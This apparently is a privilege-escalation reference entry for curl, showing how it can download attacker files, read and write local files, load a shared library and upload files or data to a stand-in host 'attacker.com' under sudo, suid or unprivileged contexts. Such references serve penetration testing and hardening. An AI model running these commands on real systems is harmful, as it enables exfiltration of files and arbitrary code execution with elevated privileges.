curl

Download

Context: sudo, suid, unprivileged

curl http://attacker.com/path/to/input-file -o /path/to/output-file

File Read

Context: sudo, suid, unprivileged

curl file:///path/to/input-file

File Write

Context: sudo, suid, unprivileged

echo DATA >/path/to/temp-file
curl file:///path/to/temp-file -o /path/to/output-file

Library Load

Context: sudo, suid, unprivileged

curl --engine /path/to/lib.so x

Upload

Context: sudo, suid, unprivileged

curl -X POST --data-binary @/path/to/input-file http://attacker.com

Context: sudo, suid, unprivileged

curl -X POST --data-binary DATA http://attacker.com

Context: sudo, suid, unprivileged

curl gopher://attacker.com:12345/_DATA